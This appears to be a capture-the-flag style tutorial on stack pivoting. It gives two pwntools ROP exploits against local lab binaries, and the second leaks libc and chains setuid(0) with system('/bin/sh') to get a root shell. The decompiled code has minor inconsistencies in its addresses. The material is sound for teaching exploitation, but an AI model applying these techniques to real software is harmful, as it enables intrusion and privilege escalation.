Stack Pivoting
Pivoting for more space, or freedom of payload
TLDR
Requirements
Somewhere to pivot to obviously (.bss, buffer on the stack)
Stack Pivoting Gadget - something that controls RSP
leave ret
pop rsp
What can you do with this?
Gain more space for your ROP chain/Shellcode 😄
// gcc source.c -o vuln -no-pie
#include <stdio.h>
void winner(int a, int b) {
if(a == 0xdeadbeef && b == 0xdeadc0de) {
puts("Great job!");
return;
}
puts("Whelp, almost...?");
}
void vuln() {
char buffer[0x60];
printf("Try pivoting to: %p\n", buffer);
fgets(buffer, 0x80, stdin);
}
int main() {
vuln();
return 0;
}
fgets
call means that there is a limited number of bytes we can overflow -> not enough for a rop chainwe also have a leak to start of buffer, but not enough to craft a full ROP chain
to pass in the right values to the
win
function, we need to pass the values intordi
andrsi
Using stack pivot, we format our payload with a
pop rsp..;ret
gadget which will change therip
to the location we control (our buffer in this case), executing the rop chain stored in the buffer.
__ start of buffer, rsp
| ROP CHAIN |
| AAAAs | - padding to reach RIP
| _________ |
| rsp gadget|
| Buffer addr|
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
Example 2
void main(voids)
{
puts("###");
printf("### Welcome to %s!\n",(char *)*param_2);
puts("###");
putchar(10);
FUN_004010e0(stdin,(char *)0x0,2,0);
FUN_004010e0(stdout,(char *)0x0,2,1);
challenge();
puts("### Goodbye!");
return 0;
}
void challenge(void)
{
#Data points to 0x4040e0
read(0,data + 65536,4096);
memcpy(&stack0x00000000,data + 65536,0x18);
puts("Leaving!");
return;
}
The binary reads in 4096 bytes into
.bss
at0x4040e0
, with the first 24 bytes (0x18) copied onto the stack viamemcpy
This gives us 3 gadgets worth of space to pivot to the address
0x4040e0
We can use a
leave ret
gadget to pivot to this address
leave ret
gadget is essentially just this
mov rsp, rbp
pop rbp
If we have a
pop rbp
gadget, we can essentially control where the binary returns to (address of.bss
)This gives us ample space for our libc leak via
puts
as well as our ret2libc payload
#!/usr/bin/env python3
from pwn import *
import time
exe = ELF("./redacted")
libc = ELF("./libc.so.6")
context.binary = exe
pop_rdi = 0x401663
ret = 0x40101a
def leak():
puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
challenge = exe.symbols['challenge']
payload = b''
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(ret)
payload += p64(challenge)
return payload
def main():
#Leaking Libc base address via puts()
address_of_bss = 0x414080 + 24
leave_ret = 0x401545
pop_rbp = 0x4011bd
payload = b''
payload += p64(pop_rbp)
payload += p64(address_of_bss)
payload += p64(leave_ret)
payload += leak()
p = process('./babyrop_level9.1_patched')
p.clean() # Clean up any previous input/output
p.send(payload)
p.recvuntil('Leaving!')
p.recvline()
#Processing puts() leak to get libc base address
leaked_puts = p.recvline()
leaked_puts = u64(leaked_puts[:-1].ljust(8, b'\x00'))
libc.address = leaked_puts - libc.sym['puts']
setuid_addr = libc.sym['setuid']
system_addr = libc.sym['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
log.info(f"Base Libc address: {hex(libc.address)}")
log.info(f"setuid address: {hex(setuid_addr)}")
log.info(f"system address: {hex(system_addr)}")
log.info(f"/bin/sh address: {hex(bin_sh_addr)}")
# Attach debugger before sending payload
# gdb.attach(p)
print("Debugger attached. Sending payload...")
# Writing Ret2LIBC payload ahead of my first leak payload
address_of_bss = 0x414080 + 120
print(hex(address_of_bss))
final_rop = p64(pop_rbp)
final_rop += p64(address_of_bss)
final_rop += p64(leave_ret)
# Accounting for the first 3 gadgets
final_rop += b'A' * (104)
final_rop += p64(pop_rdi)
final_rop += p64(0)
final_rop += p64(setuid_addr)
final_rop += p64(ret)
final_rop += p64(pop_rdi)
final_rop += p64(bin_sh_addr)
final_rop += p64(system_addr)
p.clean()
p.send(final_rop)
p.recvuntil('Leaving!')
# Interact with the process
p.interactive()
if __name__ == "__main__":
main()
Last updated